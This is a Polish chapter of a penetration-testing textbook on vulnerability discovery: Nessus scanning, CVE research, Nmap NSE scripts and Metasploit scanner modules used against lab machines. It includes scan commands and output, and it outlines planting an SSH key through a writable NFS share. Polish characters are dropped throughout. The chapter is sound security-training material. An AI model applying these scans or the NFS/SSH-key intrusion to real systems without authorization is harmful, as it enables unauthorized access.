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6
Wyszukiwanie podatno ci
i luk w zabezpieczeniach

ZANIM ROZPOCZNIEMY ROZSY ANIE I WYKORZYSTYWANIE EXPLOITÓW, MUSIMY
NAJPIERW PRZEPROWADZI  NIECO DODATKOWYCH BADA  I ANALIZ. PRÓBUJ C
IDENTYFIKOWA  PODATNO CI I LUKI W ZABEZPIECZENIACH, MUSISZ AKTYWNIE
poszukiwa  elementów, które pomog  Ci prze ama  zabezpieczenia atakowanego
systemu. Cho  niektóre firmy i konsultanci zajmuj cy si  testami penetracyjnymi
w tej fazie ograniczaj  si  tylko do uruchamiania zautomatyzowanych skanerów,
szczegó owa analiza podatno ci i luk w zabezpieczeniach przeprowadzona przez
do wiadczonego pentestera przyniesie zdecydowanie lepsze rezultaty, ni  mo na
by znale  w wynikach dzia ania jakiegokolwiek zautomatyzowanego narz dzia.

W tym rozdziale omówimy kilka ró nych metod wyszukiwania i analizy podat-
no ci oraz luk w zabezpieczeniach, takich jak zastosowanie skanerów podatno ci,
analiza celu czy metody r czne.
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Od skanu z detekcj  wersji do wykrycia
potencjalnej luki w zabezpieczeniach

Teraz, kiedy dysponujemy ju  szeregiem informacji na temat rodowiska celu
i potencjalnych p aszczyzn ataku, mo emy opracowa  kilka scenariuszy dzia ania,
które mog  doprowadzi  nas do pomy lnego przeprowadzenia testu penetracyjnego.
Na przyk ad uda o nam si  odkry , e serwer FTP pracuj cy na porcie 21 og asza
si  jako Vsftpd 2.3.4 (pe na nazwa tego oprogramowania to Very Secure FTP).

Na dzie  dobry mo emy mia o przyj  za o enie, e oprogramowanie, które
nosi w nazwie okre lenie bardzo bezpieczny (ang. very secure) samo prosi si
o k opoty. I rzeczywi cie, w lipcu 2011 roku dosz o do powa nego w amania do
repozytoriów pakietu Vsftpd, w wyniku którego binaria pakietu zosta y podmie-
nione na pliki zawieraj ce backdoora (z ang. dos . „tylne wej cie”), co pozwoli o na
nieautoryzowane dostanie si  na serwer ka dego u ytkownika, w którego nazwie
konta znalaz a si  u miechni ta bu ka :). Zalogowanie si  na takie konto powo-
dowa o automatyczne udost pnienie pow oki u ytkownika root na porcie 6200.
Kiedy problem zosta  odkryty, binaria z backdoorem zosta y usuni te z repozy-
torium i zast pione oficjalnymi plikami nowej wersji Vsftpd 2.3.4. Cho  obecno
serwera Vsftpd 2.3.4 na atakowanej maszynie nie gwarantuje co prawda, e znaj-
dziemy tam jakie  podatno ci czy luki w zabezpieczeniach, to jednak zdecydo-
wanie jest to jeden z elementów, które warto uwzgl dni  w przygotowaniach do
ataku. Przeprowadzanie testów penetracyjnych b dzie zdecydowanie atwiejsze,
kiedy mo emy wykorzysta  luk  w zabezpieczeniach czy backdoor, który umie ci
tam ju  kto  inny.

Nessus
Pakiet Nessus firmy Tenable Security to jeden z najcz ciej u ywanych komercyj-
nych skanerów podatno ci, warto jednak zauwa y , e wiele innych firm oferuje
szereg porównywalnych produktów. Nazwa skanera pochodzi od imienia jednego
z mitologicznych centaurów, zg adzonego przez innego bohatera greckich mitów,
Heraklesa. Krew centaura spowodowa a pó niej mier  równie  samego Heraklesa.
Baza danych pakietu Nessus zawiera dane o dziesi tkach tysi cy podatno ci i luk
w zabezpieczeniach ró nych platform operacyjnych oraz protoko ów, a jego skaner
wykorzystuje t  baz  do przeprowadzania testów. Na temat pakietu Nessus bez
trudu znajdziesz bardzo wiele doskona ych ksi ek i szkole , a kiedy nabierzesz
wprawy w pos ugiwaniu si  tym narz dziem, przekonasz si , e przyniesie Ci ono
wiele korzy ci i u atwi ycie pentestera. Ze wzgl du na szerok  dost pno  zna-
komitych materia ów szkoleniowych w tym rozdziale omówimy pakiet Nessus
tylko pokrótce.

Pakiet Nessus jest dost pny w dwóch wersjach licencyjnych. Profesjonalna
wersja p atna (licencja komercyjna) jest przeznaczona dla zawodowych pente-
sterów i zespo ów bezpiecze stwa IT firm oraz organizacji, które mog  j  wyko-
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rzystywa  do skanowania podatno ci i luk w zabezpieczeniach swoich sieci kom-
puterowych. Oprócz tego istnieje równie  bezp atna, niekomercyjna wersja pakietu,
nazywana Nessus Home, której mo esz u y  do pracy z wiczeniami i przyk a-
dami opisywanymi w tej ksi ce. Wersja Nessus Home pozwala na skanowanie
maksymalnie 16 adresów IP (pakiet Nessus nie jest co prawda preinstalowany
w systemie Kali Linux, ale szczegó ow  instrukcj  instalacji opisywali my ju
w rozdziale 1.).

Zanim b dziesz móg  uruchomi  skaner, musisz najpierw w czy  demona
pakietu Nessus. Aby to zrobi , powiniene  skorzysta  z polecenia service przed-
stawionego poni ej. Wykonanie tego polecenia spowoduje udost pnienie inter-
fejsu WWW skanera Nessus na porcie TCP/8834.

root@kali:~# service nessusd start

Teraz uruchom przegl dark  sieciow  i w pasku adresu wpisz https://kali:8834
(je eli chcesz skorzysta  z interfejsu pakietu Nessus znajduj cego si  w innym
systemie, musisz zast pi  nazw  kali adresem IP lub nazw  zdalnego hosta). Po
kilku minutach inicjalizacji powiniene  w oknie przegl darki zobaczy  ekran logo-
wania, przedstawiony na rysunku 6.1. Do zalogowania si  powiniene  u y  nazwy
konta u ytkownika i has a, które utworzy e  podczas instalacji pakietu Nessus
w rozdziale 1.

Rysunek 6.1. Ekran logowania interfejsu WWW skanera Nessus

Karta Policies — tworzenie polityki skanowania Nessusa
Interfejs WWW skanera Nessus jest podzielony na kilka kart znajduj cych si
w górnej cz ci ekranu, tak jak zosta o to przedstawione na rysunku 6.2. Konfi-
guracj  pakietu rozpoczniemy od karty Policies (polityki skanowania). Polityki
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Rysunek 6.2. Polityki skanowania Nessusa

skanowania Nessusa przypominaj  nieco pliki konfiguracyjne, które informuj
Nessusa, jakich podatno ci i luk w zabezpieczeniach ma poszukiwa , jakich ska-
nerów portów powinien u y  i tak dalej.

Aby utworzy  now  polityk  skanowania, naci nij przycisk New Policy (nowa
polityka), znajduj cy si  po lewej stronie okna interfejsu. Na ekranie pojawi si
szereg kreatorów (ang. Policy Wizards — kreatory polityk skanowania), które
pomog  Ci utworzy  odpowiedni  polityk  skanowania, dostosowan  do rodo-
wiska celu, tak jak zosta o to przedstawione na rysunku 6.3. W naszym przypadku
wybierz opcj  Basic Network Scan (podstawowe skanowanie sieci).

Rysunek 6.3. Kreatory tworzenia polityki skanowania Nessusa

Po wybraniu kreatora zostaniesz poproszony o podanie kilku podstawowych
informacji na temat tworzonej polityki skanowania, takich jak nazwa polityki, opis
oraz czy inni u ytkownicy b d  mieli do niej dost p, co zosta o pokazane na
rysunku 6.4. Po wpisaniu odpowiednich informacji naci nij przycisk Next (dalej).
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Rysunek 6.4. Podstawowe informacje o tworzonej polityce skanowania

W kolejnym oknie kreatora zostaniesz poproszony o wskazanie, czy skanowana
b dzie sie  wewn trzna (opcja Internal), czy sie  zewn trzna (opcja External), co
zosta o pokazane na rysunku 6.5. W naszym przypadku wybierz opcj  Internal
i naci nij przycisk Next.

Rysunek 6.5. Wybieranie rodzaju skanu
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Je eli posiadasz odpowiednie uwierzytelnienia (nazwa u ytkownika i has o
dost pu), Nessus mo e zalogowa  si  do badanego hosta i poszuka  podatno ci
oraz luk w zabezpieczeniach, które mog  si  nie ujawni  podczas skanowania
hosta z zewn trz. Takie rozwi zanie jest cz sto stosowane przez wewn trzne
zespo y bezpiecze stwa IT do sprawdzania stanu zabezpiecze  ich sieci. Nazw
u ytkownika i has o dost pu mo esz poda  w kolejnym kroku kreatora, tak jak
zosta o to przedstawione na rysunku 6.6. Na potrzeby naszego przyk adu pozo-
staw jednak wszystkie pola puste i naci nij przycisk Save (zapisz).

Rysunek 6.6. Dodawanie nazwy konta i has a dost pu

Po zako czeniu nowa polityka skanowania b dzie wy wietlana na li cie na
karcie Policies, co zosta o pokazane na rysunku 6.7.

Rysunek 6.7. Nowa polityka skanowania zostaje wy wietlona na li cie

Skanowanie za pomoc  Nessusa
Skoro utworzy e  ju  odpowiedni  polityk  skanowania, mo esz przej  na kart
Scans (skany) i uruchomi  proces skanowania. Aby to zrobi , wybierz opcj  Scans/
New Scan (skany/nowy skan) i wpisz odpowiednie informacje na temat skanu, tak
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jak zosta o to przedstawione na rysunku 6.8. Musisz tutaj poda  nazw  skanu
(pole Name), wybra  polityk  skanowania (opcja Policy) oraz wskaza  system b d
systemy, które b d  skanowane (opcja Targets).

Rysunek 6.8. Uruchamianie skanu Nessusa

Po uruchomieniu Nessus przeprowadzi seri  testów i spróbuje wykry  podat-
no ci oraz luki w zabezpieczeniach istniej ce w rodowisku celu. Dzia aj cy
skan pojawia si  na li cie na karcie Scans, tak jak zosta o to przedstawione na
rysunku 6.9.

Rysunek 6.9. Lista dzia aj cych skanów Nessusa

Kiedy skan zako czy dzia anie, mo esz wy wietli  wyniki, klikaj c jego nazw ,
tak jak zosta o to przedstawione na rysunku 6.10.

Jak wida  na rysunku, w systemach Windows XP i Ubuntu Nessus znalaz  kilka
powa nych podatno ci oraz luk w zabezpieczeniach, natomiast w przypadku
maszyny z systemem Windows 7 w raporcie znalaz o si  tylko troch  danych
informacyjnych.
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Rysunek 6.10. Ogólne podsumowanie wyników skanu

Aby wy wietli  szczegó owy raport dla wybranego hosta, po prostu kliknij
jego nazw  na li cie. Szczegó owy raport dla maszyny z systemem Windows XP
zosta  przedstawiony na rysunku 6.11.

Rysunek 6.11. Nessus dzieli znalezione podatno ci na odpowiednie kategorie
i do ka dej luki dodaje krótki opis

O skanerach podatno ci mo na mówi  wiele rzeczy, ale w praktyce bardzo
trudno znale  produkt, który potrafi by da  Ci naprawd  ogromn  ilo  informa-
cji o rodowisku celu w tak krótkim czasie i w tak efektywny sposób jak Nessus.
Na przyk ad w raporcie ko cowym od razu wida , e w naszym celu z systemem
Windows XP poprawka MS08-067, któr  omawiali my w rozdziale 4., rzeczywi-
cie nie jest zainstalowana. Wygl da równie  na to, e brakuje tam tak e innych

poprawek i aktualizacji zabezpiecze  dla serwera SMB.
Któr  luk  w zabezpieczeniach b dzie naj atwiej wykorzysta ? Wyniki dzia-

ania skanera Nessus dla poszczególnych luk w zabezpieczeniach bardzo cz sto
zawieraj  szereg informacji na temat potencjalnych mo liwo ci wykorzystania
danej luki czy podatno ci. Na przyk ad klikni cie w raporcie luki MS08-067
(patrz rysunek 6.12) ujawnia, e gotowe exploity dla tej luki s  dost pne w pakiecie
Metasploit oraz kilku innych narz dziach, takich jak Core Impact czy Canvas.
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Rysunek 6.12. Wpis w raporcie zawieraj cy szczegó owe informacje na temat luki
MS08-067

Kilka s ów na temat rankingu podatno ci
i luk w zabezpieczeniach

Nessus tworzy ranking wykrytych w trakcie skanu luk w zabezpieczeniach, oce-
niaj c poszczególne podatno ci wed ug kryteriów CVSS w wersji 2. (ang. Common
Vulnerability Scoring System), opracowanych przez National Institute of Stan-
dards and Technology (NIST). Pozycja w rankingu jest obliczana na podstawie
tego, jaki wp yw mo e mie  na system potencjalne wykorzystanie danej luki
w zabezpieczeniach. Cho  im wy sza ocena luki w rankingu Nessusa, tym powa -
niejsze wydaje si  zagro enie z ni  zwi zane, to jednak rzeczywisty poziom ryzyka
wi cy si  z wyst powaniem takiej czy innej podatno ci w du ym stopniu zale y
od konkretnego rodowiska celu. Na przyk ad Nessus klasyfikuje mo liwo  ano-
nimowego dost pu do serwera FTP jako podatno  o rednim poziomie ryzyka
(ang. medium risk vulnerability). Je eli jednak na takim serwerze nie ma adnych
wra liwych dokumentów, to ryzyko zwi zane z dzia aniem takiego serwera mo e
zmale  do minimalnego lub wr cz zerowego poziomu. Z drugiej strony czasami
s yszymy, e taka czy inna firma przez przypadek b d  zaniedbanie pozostawi a na
publicznie dost pnym serwerze FTP na przyk ad kopi  kodu ród owego swojego
najnowszego oprogramowania. Je eli zatem podczas przeprowadzania zewn trznego
testu penetracyjnego sieci klienta jeste  w stanie dobra  si  do wra liwych doku-
mentów czy danych, po prostu loguj c si  jako anonimowy u ytkownik do serwera
FTP, to mo esz spokojnie za o y , e ka dy rozgarni ty napastnik mo e zrobi  to
samo — nietrudno si  domy li , e taka sytuacja wymaga natychmiastowego skon-
taktowania si  z klientem. Same narz dzia nie s  w stanie dokona  odpowiedniej
oceny takiej sytuacji — do tego b dzie potrzebny odpowiedni pentester.

Dlaczego powiniene  u ywa  skanerów podatno ci?
Pomimo e niektóre materia y szkoleniowe z zakresu przeprowadzania testów pene-
tracyjnych niemal ca kowicie pomijaj  zagadnienia zwi zane z przeprowadzaniem
automatycznego skanowania w poszukiwaniu podatno ci i luk w zabezpieczeniach
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ze wzgl du na to, e do wiadczony pentester mo e samodzielnie znale  to samo
co skanery, to jednak dobre skanery podatno ci nadal s  bardzo warto ciowymi
narz dziami, zw aszcza kiedy musimy przeanalizowa  du  liczb  celów w rela-
tywnie w skim oknie czasowym. Warto jednak zauwa y , e je eli jednym z celów
przeprowadzanego testu penetracyjnego jest unikni cie wykrycia, to z pewno ci
powiniene  si  dwa razy zastanowi , czy powiniene  korzysta  z mocno „ha a-
suj cego” skanera podatno ci.

Cho  Nessus nie znalaz  niektórych podatno ci i luk w zabezpieczeniach
obecnych w naszym rodowisku testowym, to jednak jego u ycie, w po czeniu
z informacjami zebranymi w fazie rekonesansu, da o nam solidny fundament do
rozpocz cia prób prze amywania zabezpiecze  rodowiska celu. Nawet najbar-
dziej ortodoksyjni specjali ci, którzy twierdz , e pentester mo e i powinien zast -
powa  skaner, mog  skorzysta  ze znajomo ci sposobów dzia ania oraz wykorzy-
stania skanerów podatno ci. W idealnym wiecie ka da firma czy organizacja
powinna przeprowadza  regularne, pe nowymiarowe i ca kowicie bezkompromi-
sowe testy penetracyjne, ale w rzeczywisto ci ich przeprowadzenie bez u ycia
zautomatyzowanych skanerów podatno ci staje si  praktycznie zadaniem niewy-
konalnym.

Eksportowanie wyników skanowania
Kiedy Nessus zako czy skanowanie, mo esz wyeksportowa  otrzymane wyniki
dzia ania. Aby to zrobi , powiniene  skorzysta  z przycisku Export (eksport), znaj-
duj cego si  w prawej górnej cz ci okna interfejsu programu, co zosta o poka-
zane na rysunku 6.13.

Rysunek 6.13. Eksportowanie wyników skanowania

Nessus potrafi eksportowa  wyniki dzia ania do formatów PDF, HTML, XML,
CSV i kilku innych. W zale no ci od sytuacji i potrzeb klienta mo esz oczywi cie
przekaza  mu „surowe” wyniki skanowania, ale nigdy nie powiniene  post powa
tak, e eksportujesz wyniki, do czasz do nich logo swojej firmy i przedstawiasz
jako ko cowe wyniki przeprowadzonego testu penetracyjnego. Profesjonalne prze-
prowadzenie testu penetracyjnego wymaga znacznie wi kszego nak adu pracy
i analiz ni  tylko prostego u ycia skanera podatno ci. W praktyce powiniene
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zawsze weryfikowa  wyniki otrzymane z automatycznych skanerów podatno ci
i czy  je z danymi z w asnych analiz, gdy  dopiero to w efekcie pozwoli Ci na
otrzymanie pe nego obrazu podatno ci i luk w zabezpieczeniach badanego ro-
dowiska celu.

W kolejnych podrozdzia ach omówimy kilka innych metod analizowania podat-
no ci i luk w zabezpieczeniach ró nych systemów.

Odkrywanie podatno ci i luk w zabezpieczeniach
Je eli w raporcie Nessusa nie znajdziesz wystarczaj cych informacji na temat
okre lonej luki czy podatno ci, powiniene  o nie zapyta  star , dobr  wyszuki-
wark  Google. Oprócz tego dodatkowych informacji mo esz szuka  na takich
portalach jak http://www.securityfocus.com/, http://packetstormsecurity.org/,
http://www.exploit-db.com/ oraz http://www.cve.mitre.org/. Na przyk ad informacji
o danej podatno ci mo esz szuka  za pomoc  identyfikatora CVE (ang. Common
Vulnerabilities and Exposures), numerów biuletynów zabezpiecze  firmy Microsoft
itp., u ywaj c zapyta  Google takich jak na przyk ad ms08-067 site:securityfo-
cus.com. Luka MS08-067 narobi a w wiecie sporo zamieszania, wi c z pewno-
ci  po wykonaniu takiego czy podobnego zapytania nie b dziesz móg  narzeka

na brak danych (wiele ciekawych informacji na jej temat znajdziesz równie
w rozdziale 4.).

W przypadku wielu luk w zabezpieczeniach b dziesz równie  w stanie zna-
le  gotowy kod PoC exploitów (ang. Proof of Concept) wykorzystuj cych tak
czy inn  podatno . Wi cej szczegó owych informacji na temat pracy z publicz-
nie dost pnym kodem ród owym znajdziesz w rozdziale 19., ale powiniene
zawsze pami ta , e w przeciwie stwie do exploitów zweryfikowanych przez
deweloperów i spo eczno  u ytkowników projektów takich jak Metasploit, nie
ka dy kod znaleziony w internecie dzia a zgodnie z opisem. adunek osadzony
w publicznie dost pnych exploitach mo e spowodowa  zniszczenie czy powa ne
uszkodzenie systemu atakowanego hosta b d  te  na przyk ad do czy  takiego
hosta do sekretnego botnetu kontrolowanego przez autora exploita. Pracuj c
z publicznie dost pnymi exploitami, powiniene  zawsze zachowa  szczególn
ostro no  i dok adnie sprawdzi  ich domniemane funkcjonowanie przed pierw-
szym uruchomieniem ich w sieci produkcyjnej. Oprócz exploitów w internecie
mo na znale  wiele ciekawych informacji o podatno ciach i lukach w zabezpie-
czeniach, publikowanych przez ich odkrywców.

NSE — Nmap Scripting Engine
W tym podrozdziale powiemy kilka s ów na temat kolejnego narz dzia pozwa-
laj cego na przeprowadzanie zautomatyzowanych skanów w poszukiwaniu podat-
no ci i luk w zabezpieczeniach. Jak zapewne pami tasz, pakiet Metasploit prze-
szed  d ug  drog  ewolucji od frameworka pozwalaj cego na uruchamianie
exploitów do pe nowymiarowego pakietu wspomagaj cego przeprowadzanie testów
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penetracyjnych. Obecnie podobn  cie k  pod a pakiet Nmap, który dzi ki
zaimplementowaniu modu u NSE (ang. Nmap Scripting Engine) z pocz tkowego
prostego skanera portów staje si  narz dziem pozwalaj cym na wykonywanie
publicznie dost pnych skryptów i tworzenie w asnych rozwi za .

Skrypty modu u NSE znajdziesz w systemie Kali Linux w katalogu /usr/share/
nmap/scripts. Dost pne skrypty zosta y podzielone na kilka kategorii, takich jak
zbieranie informacji, aktywne skanowanie podatno ci, poszukiwanie ladów
poprzednich w ama  itp. Na listingu 6.1 przedstawiono list  skryptów dost p-
nych w domy lnej instalacji systemu Kali Linux.

Listing 6.1. Lista skryptów NSE programu Nmap

root@kali:~# cd /usr/share/nmap/scripts
root@kali:/usr/local/share/nmap/scripts# ls
acarsd-info.nse             ip-geolocation-geobytes.nse
address-info.nse            ip-geolocation-geoplugin.nse
afp-brute.nse               ip-geolocation-ipinfodb.nse
afp-ls.nse                  ip-geolocation-maxmind.nse
(...)

Aby wy wietli  bardziej szczegó owe informacje na temat okre lonego skryptu
lub kategorii skryptów, powiniene  w wierszu wywo ania skanera Nmap u y
flagi --script-help. Na przyk ad aby wy wietli  list  wszystkich skryptów z kate-
gorii default, powiniene  u y  polecenia nmap --script-help default, tak jak
zosta o to przedstawione na listingu 6.2. Umieszczenie skryptu w tej czy innej
kategorii zale y od bardzo wielu czynników, takich jak wiarygodno  i niezawod-
no  skryptu czy bezpiecze stwo dzia ania.

Listing 6.2. Ekran pomocy skryptów w kategorii default

root@kali:~# nmap --script-help default

Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-16 14:43 EDT
(...)
ftp-anon
Categories: default auth safe
http://nmap.org/nsedoc/scripts/ftp-anon.html
    Checks if an FTP server allows anonymous logins.

    If anonymous is allowed, gets a directory listing of the root directory
    and highlights writeable files.
(...)

Je eli wywo uj c skaner Nmap, u yjesz flagi -sC, która oprócz skanowania
portów przeprowadza skan za pomoc  skryptów, zostan  wykonane wszystkie
skrypty z kategorii default, co zosta o pokazane na listingu 6.3.
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Listing 6.3. Wyniki dzia ania skryptów Nmap z kategorii default

root@kali:~# nmap -sC 192.168.20.10-12

Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-30 20:21 EST
Nmap scan report for 192.168.20.10
Host is up (0.00038s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
21/tcp   open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 1 ftp ftp         0 Aug 06 2009 incoming
|_-r—r—r-- 1 ftp ftp       187 Aug 06 2009 onefile.html
|_ftp-bounce: bounce working!
25/tcp   open smtp
| smtp-commands: georgia.com, SIZE 100000000, SEND, SOML, SAML, HELP, VRFY , EXPN, ETRN,
XTRN,

|_ This server supports the following commands. HELO MAIL RCPT DATA RSET SEND SOML SAML
HELP NOOP QUIT

79/tcp open finger
|_finger: Finger online user list request denied.
80/tcp open http
|_http-methods: No Allow or Public header in OPTIONS response (status code 302)
144 Chapter 6
| http-title: XAMPP 1.7.2 
|_Requested resource was http://192.168.20.10/xampp/splash.php
(...)
3306/tcp open mysql
| mysql-info: MySQL Error detected!
| Error Code was: 1130
|_Host '192.168.20.9' is not allowed to connect to this MySQL server 
(...)

Jak wida  w wynikach dzia ania, wykonanie skryptów NSE z kategorii default
przynios o nam wiele bardzo ciekawych informacji. Na przyk ad mo emy si  prze-
kona , e serwer SMTP dzia aj cy na porcie 25 maszyny z systemem Windows
XP pozwala na u ywanie komendy VRFY , która umo liwia sprawdzenie, czy
konto u ytkownika o podanej nazwie istnieje na serwerze poczty elektronicznej.
Je eli znamy nazw  takiego konta, u ycie tej komendy mo e znacznie u atwi
odgadni cie has a.

Oprócz tego w wynikach dzia ania mo emy tak e zobaczy , e serwer WWW
dzia aj cy na porcie 80 to prawdopodobnie XAMPP 1.7.2 . W czasie kiedy
powstawa a ta ksi ka, najnowsz  stabiln  wersj  tego pakietu by a wersja 1.8.3.
Jak wida , zainstalowana wersja jest nieco przestarza a, wi c istnieje pewna
nadzieja, e mo e mie  takie czy inne luki w zabezpieczeniach i by  podatna na
odpowiednio przygotowane ataki.

Poza ujawnianiem potencjalnych podatno ci i luk w zabezpieczeniach skan
z u yciem skryptów NSE pozwala równie  na wykluczenie z p aszczyzny ataku
niektórych us ug. Na przyk ad wyniki dzia ania wskazuj , e serwer MySQL dzia-
aj cy na porcie 3306 nie pozwala nam na ustanowienie po czenia, poniewa
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adres IP naszego komputera nie znajduje si  na li cie hostów uprawnionych do
„rozmowy” z tym serwerem . Do próby po czenia z tym portem mo emy
powróci  nieco pó niej, w fazie eksploracji pow amaniowej, kiedy uda nam si  ju
dosta  na inne komputery dzia aj ce w rodowisku celu, ale na razie mo emy spo-
kojnie wy czy  serwer MySQL i jego podatno ci z zakresu planowanego ataku.

Uruchamianie wybranego skryptu NSE
Zanim przejdziemy do omawiania innych zagadnie , przyjrzymy si  kolejnemu
przyk adowi zastosowania skryptów NSE, tym razem takich, które nie s  cz ci
kolekcji default. Z wyników dzia ania skanera Nmap w poprzednim rozdziale
wiemy, e nasz host-cel z systemem Linux wykorzystuje us ug  NFS (ang. Net-
work File System), która pozwala klientom zdalnym na dost p za po rednictwem
sieci do zasobów znajduj cych si  w lokalnym systemie plików hosta. Do wiad-
czeni pentesterzy wiedz  jednak, e bezpieczne skonfigurowanie us ugi NFS jest
znacznie atwiejsze w teorii ni  w praktyce. Bardzo wielu u ytkowników po prostu
nie zdaje sobie sprawy z konsekwencji, jakie mo e nie  ze sob  umo liwienie
u ytkownikom zdalnym uzyskania dost pu do swoich lokalnych plików. W ko cu
co mo e si  tutaj wydarzy ? Czy kogo  to obchodzi, e daj  dost p do mojego
katalogu domowego innym u ytkownikom z mojej firmy czy organizacji?

Skrypt nfs-ls.nse modu u NSE dokonuje próby po czenia si  z us ug  NFS
i przeprowadza audyt udost pnionych zasobów. Wi cej szczegó owych informacji
na temat tego skryptu mo esz wy wietli , dodaj c w wierszu wywo ania flag
--script-help, tak jak zosta o to przedstawione na listingu 6.4.

Listing 6.4. Wy wietlanie szczegó owych informacji o skrypcie NFS-LS

root@kali:~# nmap --script-help nfs-ls

Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-16 14:49 EDT

nfs-ls
Categories: discovery safe
http://nmap.org/nsedoc/scripts/nfs-ls.html
  Attempts to get useful information about files from NFS exports.
  The output is intended to resemble the output of <code>ls</code>.
(...)

Po uruchomieniu skrypt próbuje zamontowa  udzia y sieciowe udost pnione
na maszynie zdalnej, sprawdza, jakie prawa zosta y im przydzielone, i wy wietla
list  plików znajduj cych si  w poszczególnych udzia ach sieciowych. Aby urucho-
mi  ten skrypt, powiniene  w wierszu wywo ania umie ci  opcj  --script i po
niej poda  nazw  skryptu, co zosta o pokazane na listingu 6.5.
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Listing 6.5. Wyniki dzia ania skryptu NFS-LS

root@kali:/# nmap --script=nfs-ls 192.168.20.11

Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-28 22:02 EST
Nmap scan report for 192.168.20.11
Host is up (0.00040s latency).
Not shown: 993 closed ports
PORT     STATE     SERVICE     VERSION
21/tcp   open      ftp         vsftpd 2.3.4
22/tcp   open      ssh         OpenSSH 5.1p1 Debian 3ubuntu1 (Ubuntu Linux; protocol 2.0)
80/tcp   open      http        Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.6 with
                               Suhosin-Patch)
111/tcp  open      rpcbind     2 (RPC #100000)
| nfs-ls:
|   Arguments:
|     maxfiles: 10 (file listing output limited)
|
|   NFS Export: /export/georgia 
|   NFS Access: Read Lookup Modify Extend Delete NoExecute
|     PERMISSION  UID   GID   SIZE  MODIFICATION TIME  FILENAME
|     drwxr-xr-x  1000  1000  4096  2013-12-28 23:35   /export/georgia
|     -rw-------  1000  1000   117  2013-12-26 03:41   .Xauthority
|     -rw-------  1000  1000  3645  2013-12-28 21:54   .bash_history
|     drwxr-xr-x  1000  1000  4096  2013-10-27 03:11   .cache
|     -rw-------  1000  1000    16  2013-10-27 03:11   .esd_auth
|     drwx------  1000  1000  4096  2013-10-27 03:11   .gnupg
|     ??????????     ?     ?     ?                 ?   .gvfs
|     -rw-------  1000  1000   864  2013-12-15 19:03   .recently-used.xbel
|     drwx------  1000  1000  4096  2013-12-15 23:38   .ssh 
(...)

Jak wida , w naszej maszynie z systemem Linux skrypt NSE znalaz  udzia  NFS
o nazwie /export/georgia . Ciekawym znaleziskiem mo e by  to, e znajduje si
w nim katalog .ssh , w którym mog  by  przechowywane ró ne wra liwe infor-
macje, takie jak klucze SSH czy lista autoryzowanych kluczy (o ile na serwerze
SSH zosta o w czone uwierzytelnianie za pomoc  klucza publicznego).

Kiedy podczas przeprowadzania testu penetracyjnego natkniesz si  na taki
„kalafior” w konfiguracji praw dost pu, oczywistym posuni ciem ka dego do wiad-
czonego pentestera b dzie wykorzystanie takiej pomy ki administratora systemu
i do o enie sobie uprawnie  zapisu pozwalaj cych na dopisanie nowego klucza
SSH do listy autoryzowanych kluczy znajduj cej si  w pliku authorized_list. Je eli
taka próba si  powiedzie, oka e si , e z pozoru niewinne przeoczenie prawa do
edycji plików innego u ytkownika przerodzi o si  w powa ne naruszenie bezpie-
cze stwa systemu, co umo liwi o nieautoryzowanemu u ytkownikowi zalogowanie
si  do zdalnego systemu i wykonywanie w nim ró nych operacji.

Zanim przejdziemy dalej, musimy si  upewni , e na komputerze-celu z syste-
mem Linux jest w czone uwierzytelnianie za pomoc  publicznego klucza SSH,
dzi ki któremu b dziemy mogli przeprowadzi  opisany powy ej atak. Logowanie
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za pomoc  klucza jest uwa ane za najsilniejsz  form  uwierzytelniania SSH i jest
rekomendowanym sposobem zabezpieczania dost pu do systemu. Szybka próba
po czenia si  z maszyn  linuksow  za pomoc  sesji SSH pokazuje, e opcja logo-
wania przy u yciu klucza publicznego jest w czona , co zosta o pokazane na
listingu 6.6.

Listing 6.6. Metody uwierzytelniania SSH

root@kali:/# ssh 192.168.20.11
The authenticity of host '192.168.20.11 (192.168.20.11)' can't be established.
RSA key fingerprint is ab:d7:b0:df:21:ab:5c:24:8b:92:fe:b2:4f:ef:9c:21.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.20.11' (RSA) to the list of known hosts.
root@192.168.20.11's password:
Permission denied (publickey ,password).

Niektóre skrypty NSE mog  powodowa  awari  wybranych us ug lub nawet uszko-
dzi  atakowany system. Co ciekawe, istnieje równie  osobna kategoria skryptów
przeznaczonych do przeprowadzania ataków typu DoS (ang. Denial of Service)
oraz wiele skryptów do wyszukiwania okre lonych podatno ci i luk w zabezpie-
czeniach. Na przyk ad skrypt smb-check-vulns sprawdza badany system pod k tem
wyst powania luki MS08-067 i innych podatno ci serwera SMB. W opisie tego
skryptu znajdziesz informacj , e jego dzia anie mo e by  potencjalnie niebez-
pieczne dla systemu zdalnego i e nie powiniene  u ywa  tego skryptu do testo-
wania systemów produkcyjnych, o ile nie jeste  przygotowany na ewentualn  awari
takiego systemu.

Modu y skanerów pakietu Metasploit
Pakiet Metasploit, o którym mówili my w rozdziale 4., równie  posiada szereg
dodatkowych modu ów pomocniczych pozwalaj cych na przeprowadzanie skano-
wania zdalnych hostów w poszukiwaniu potencjalnych podatno ci i luk w zabez-
pieczeniach. W przeciwie stwie do modu ów exploitów, modu y skanerów nie
pozwalaj  na przejmowanie kontroli nad atakowanymi hostami, ale w zamian
wy wietlaj  listy potencjalnych podatno ci takich hostów na ataki, które mo emy
wykorzysta  w dalszej fazie przeprowadzania testów penetracyjnych.

Jednym z takich modu ów pomocniczych jest modu , który pozwala na wyszu-
kiwanie na zdalnych hostach serwerów FTP zezwalaj cych na anonimowy dost p
do swoich zasobów. Cho  r czna próba anonimowego zalogowania si  do jednego
czy drugiego serwera FTP w celu sprawdzenia mo liwo ci dost pu nie stanowi
oczywi cie adnego problemu, to jednak za pomoc  zautomatyzowanego modu u
pomocniczego pakietu Metasploit mo esz szybko sprawdzi  bardzo wiele hostów,
co w przypadku przeprowadzania testów penetracyjnych rozbudowanych ro-
dowisk z pewno ci  przyczyni si  do oszcz dzenia du ej ilo ci czasu.

UWAGA
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Aby wybra  okre lony modu , powiniene  u y  polecenia use. Nast pnie za
pomoc  polecenia set ustaw cel skanowania i uruchom modu  poleceniem exploit,
tak jak zosta o to przedstawione na listingu 6.7. Sk adnia poszczególnych pole-
ce  jest bardzo podobna do tego, co robili my w rozdziale 4.

